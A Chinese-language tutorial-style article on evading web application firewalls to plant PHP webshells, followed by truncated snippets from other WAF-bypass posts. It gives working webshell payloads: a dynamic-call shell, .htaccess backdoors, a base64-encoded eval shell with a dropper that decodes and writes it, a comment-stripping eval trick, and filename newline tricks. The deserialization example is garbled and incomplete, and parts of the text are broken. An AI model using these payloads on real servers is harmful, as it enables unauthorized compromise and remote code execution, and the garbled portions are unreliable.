一:動態呼叫
waf會對檔案內容進行檢索,如果發現有什麼危險的函式,或者有什麼危害的邏輯,都會進行攔擊,所以我們不能寫入一些危險的函式,否則就會被ban掉。在我們真正惡意**前加入大量雜糅字元進行繞過;然後對字尾進行換行繞過;
��
[.shellclassinfo]
localizedresourcename=@%systemroot%\system32\shell32
.dll,
-21770
iconresource=
%systemroot%\system32\imageres
.dll,
-112
iconfile=
%systemroot%\system32\shell32
.dll
iconindex=
-235
寫入<?php $_get['0']($_get['1']);?>我們在上傳的檔案中並沒有出現什麼危險的函式,而是通過後期的get傳入進行動態呼叫從而執行命令;這樣就會繞過上傳時waf的檢測;但是繞不過disable_function;
二:利用.htaccess檔案
對於利用.htaccess檔案的攻擊方法,其實有很多方法;包括自我包含造成後門,或者auto_prepend_file檔案,或者自定義報錯目錄然後利用包含報錯寫入木馬最後自定義包含,addtype等等。我們只需要將木馬檔案進行相應的編碼即可;這種方法可以繞過waf的檢測,但是也是繞不過 disable_function;
三:利用檔案修改檔案造成木馬
當我們無法上傳帶有危險函式的木馬時;可以使用檔案篡改檔案的方法;
先傳入pd9wahagzxzhbcgkx1bpu1rbj2enxsk7pz4=(<?php eval($_post['a']);?>的base64)命名為1.php;這裡我們上傳時waf自然不會檢測到,因為我們確實沒有危險函式;然後再次傳入第二個沒有高度危險函式的2.php**:
<?php
$path
="/xx/***/xx/1.php"
;//讀取檔案1.php
$str
=file_get_contents
($path);
$strs
=base64_decode
($str);
//進行base64解碼
$s1mple
=fopen
("./s1mple.php"
,"w");
fwrite
($s1mple
,$strs);
fclose
($s1mple);
?>
將我們的檔案,進行了base64解密,然後寫入的乙個新的php檔案中。先訪問2.php,然後再訪問s1mple.php就可以拿到shell。
fopen() 函式:開啟檔案或者 url,如果開啟失敗,本函式返回 false。
fopen
(filename,mode,include_path,context)
filename:必需。規定要開啟的檔案或 url。
mode:必需。規定要求到該檔案/流的訪問型別。可能的值見下表。
include_path:可選。如果也需要在 include_path 中檢索檔案的話,可以將該引數設為 1 或 true。
context:可選。規定檔案控制代碼的環境。context 是可以修改流的行為的一套選項。
「r」 :唯讀方式開啟,將檔案指標指向檔案頭。
「r+」 :讀寫方式開啟,將檔案指標指向檔案頭。
「w」 :寫入方式開啟,將檔案指標指向檔案頭並將檔案大小截為零。如果檔案不存在則嘗試建立之。
「w+」 :讀寫方式開啟,將檔案指標指向檔案頭並將檔案大小截為零。如果檔案不存在則嘗試建立之。
「a」 :寫入方式開啟,將檔案指標指向檔案末尾。如果檔案不存在則嘗試建立之。
「a+」 :讀寫方式開啟,將檔案指標指向檔案末尾。如果檔案不存在則嘗試建立之。
四:利用低危木馬;
如果不是拿許可權的話,也是可以利用一些低危的操作,比如任意檔案讀取等等;
<?php
$s1mple
=file_get_contents
(__file__);
//獲取**的所有內容;
eval
(str_replace
("<?php",""
,str_replace
("//",""
,$s1mple))
);//釋放出木馬
//eval($_get['a']);
?>
基於注釋的繞過。得到eval($_get[『a』]);可以達到任意檔案讀取。
五:利用邏輯問題
這個看不懂:
<?php
error_reporting(0
);class
s1mple
function
__destruct()
}class
hacker
}class
evil
}unserialize
($_get
['a'])
;
解析完這樣:
o:6:
"s1mple":1
:}
六:利用過寶塔waf思路另闢蹊徑繞過waf
寶塔的waf對於檔案明字尾的檢測,是可以通過換行進行繞過的;對我們的filename做手腳;對filename做換行,也可以繞過;
WAF 繞過方法
通常,即使繞過了waf的防護,前提條件是後端伺服器是否存在對應的漏洞,後端在開發時一定要在 中加入引數的過濾與校驗,不能只指望waf在中間進行防護,減少威脅面,編寫安全的 才是正確的做法。在bash shell中,問號?表示萬用字元,可以替換任意的單個字元 非空 表示萬用字元,可以匹配任意長度 包括...
waf繞過注入
waf 是什麼?安全是乙個不斷對抗的過程,有防護手段,就有相應的繞過手段。滲透測試過程中,waf 是必定會遇到的,如何繞過 waf 就是乙個問題。waf繞過的手段千變萬化,分為3類 白盒繞過 黑盒繞過 fuzz繞過 白盒繞過 如果繞過 白盒下的繞過主要針對原始碼進行審計,分析函式功能,構造特定的包進...
WAF繞過小結
瀏覽器向伺服器傳送請求的時候必須指明請求型別 一般是get或者post 如有必要,瀏覽器還可以選擇傳送其他的請求頭。大多數請求頭並不是必需的,但content length除外。對於post請求來說content length必須出現。大多數waf都會較全面地檢測來自get請求的攻擊,有選擇地檢測來...